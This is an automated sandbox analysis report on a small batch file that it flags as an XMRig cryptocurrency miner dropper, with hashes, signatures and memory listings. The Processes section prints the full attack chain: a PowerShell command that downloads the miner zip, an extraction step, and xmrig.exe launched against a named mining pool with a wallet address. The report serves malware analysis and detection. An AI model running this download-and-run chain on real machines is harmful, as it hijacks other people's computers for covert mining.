Analysis

  • max time kernel
    1791s
  • max time network
    1801s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31/12/2023, 17:40

General

  • Target

    tesy - Copy (4).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3472
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4324
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3756

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ae9d32d54e6095bb334cce39964f7515

    SHA1

    6a030527729371bd1213afacd875c4c2746be410

    SHA256

    53ea707f9806866c8be2fe73ae84e2d5d43788a7ec7bc552cb0c02b7a69e9225

    SHA512

    797845471c1f7345faf7f8b4f9d8419718df785c910a4d530782e39bd4d9168e5f4b48f574c1687234836a4c1422deee82efcb1d1d9a1ef1c4e11022acb3b824

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    408KB

    MD5

    e03381eea105b9b3055914eb9caee27e

    SHA1

    548f1828fe68ba245749af88108f22cc8adab72d

    SHA256

    9a26ad99920a5fc5a1dd98e103ef15df9a1e979fe323a8cc20179f29a100ae66

    SHA512

    6e344c0142a67df1252d6c77b1a0f5cb709e913ff293a641bd3134e55e9921ec365315a7c715721d74c1171fa49b6ed0099eb25b417dfb1ae075aaf6af428c9e

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    93KB

    MD5

    5d03afc3d0929a47212458b3a3d5bf60

    SHA1

    64160ecc6ed363d88bd7892ee80aebb1d8dbdee5

    SHA256

    776f45dc34f9b4cb8a03a4af63767a81aaf249dfc147f1c1ae2a2ebedcf62d33

    SHA512

    946377120ea1eb691ecd481a5b9ec3fca47eabd1ca9fc3b76844b945e8752578a93e46de815fa4ec97a4c776fa86692ee48d07f82c48b4866765d596176f1bae

  • memory/3472-26-0x00007FFD64060000-0x00007FFD64A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/3472-4-0x000001F3CA660000-0x000001F3CA682000-memory.dmp

    Filesize

    136KB

  • memory/3472-7-0x000001F3CA5B0000-0x000001F3CA5C0000-memory.dmp

    Filesize

    64KB

  • memory/3472-27-0x000001F3CA5B0000-0x000001F3CA5C0000-memory.dmp

    Filesize

    64KB

  • memory/3472-28-0x000001F3CA5B0000-0x000001F3CA5C0000-memory.dmp

    Filesize

    64KB

  • memory/3472-29-0x000001F3CA5B0000-0x000001F3CA5C0000-memory.dmp

    Filesize

    64KB

  • memory/3472-34-0x00007FFD64060000-0x00007FFD64A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/3472-6-0x00007FFD64060000-0x00007FFD64A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/3472-25-0x000001F3CA5B0000-0x000001F3CA5C0000-memory.dmp

    Filesize

    64KB

  • memory/3472-9-0x000001F3CA5B0000-0x000001F3CA5C0000-memory.dmp

    Filesize

    64KB

  • memory/3472-10-0x000001F3E2990000-0x000001F3E2A06000-memory.dmp

    Filesize

    472KB

  • memory/3756-142-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-150-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-188-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-187-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-186-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-185-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-120-0x000002BE5D8F0000-0x000002BE5D910000-memory.dmp

    Filesize

    128KB

  • memory/3756-184-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-121-0x000002BE5D940000-0x000002BE5D960000-memory.dmp

    Filesize

    128KB

  • memory/3756-122-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-125-0x000002BE5F330000-0x000002BE5F350000-memory.dmp

    Filesize

    128KB

  • memory/3756-124-0x000002BE5D960000-0x000002BE5D980000-memory.dmp

    Filesize

    128KB

  • memory/3756-123-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-126-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-127-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-128-0x000002BE5D960000-0x000002BE5D980000-memory.dmp

    Filesize

    128KB

  • memory/3756-129-0x000002BE5F330000-0x000002BE5F350000-memory.dmp

    Filesize

    128KB

  • memory/3756-130-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-131-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-132-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-133-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-134-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-135-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-136-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-137-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-138-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-139-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-140-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-141-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-183-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-143-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-144-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-145-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-146-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-147-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-148-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-149-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-182-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-151-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-152-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-153-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-154-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-155-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-156-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-157-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-158-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-159-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-160-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-161-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-162-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-163-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-164-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-165-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-166-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-167-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-168-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-169-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-170-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-171-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-172-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-173-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-174-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-175-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-176-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-177-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-178-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-179-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-180-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/3756-181-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp

    Filesize

    11.0MB

  • memory/4324-66-0x000001CDAF900000-0x000001CDAF910000-memory.dmp

    Filesize

    64KB

  • memory/4324-39-0x00007FFD64060000-0x00007FFD64A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/4324-40-0x000001CDAF900000-0x000001CDAF910000-memory.dmp

    Filesize

    64KB

  • memory/4324-117-0x00007FFD64060000-0x00007FFD64A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/4324-80-0x000001CDAFA30000-0x000001CDAFA42000-memory.dmp

    Filesize

    72KB

  • memory/4324-93-0x000001CDAFA10000-0x000001CDAFA1A000-memory.dmp

    Filesize

    40KB

  • memory/4324-42-0x000001CDAF900000-0x000001CDAF910000-memory.dmp

    Filesize

    64KB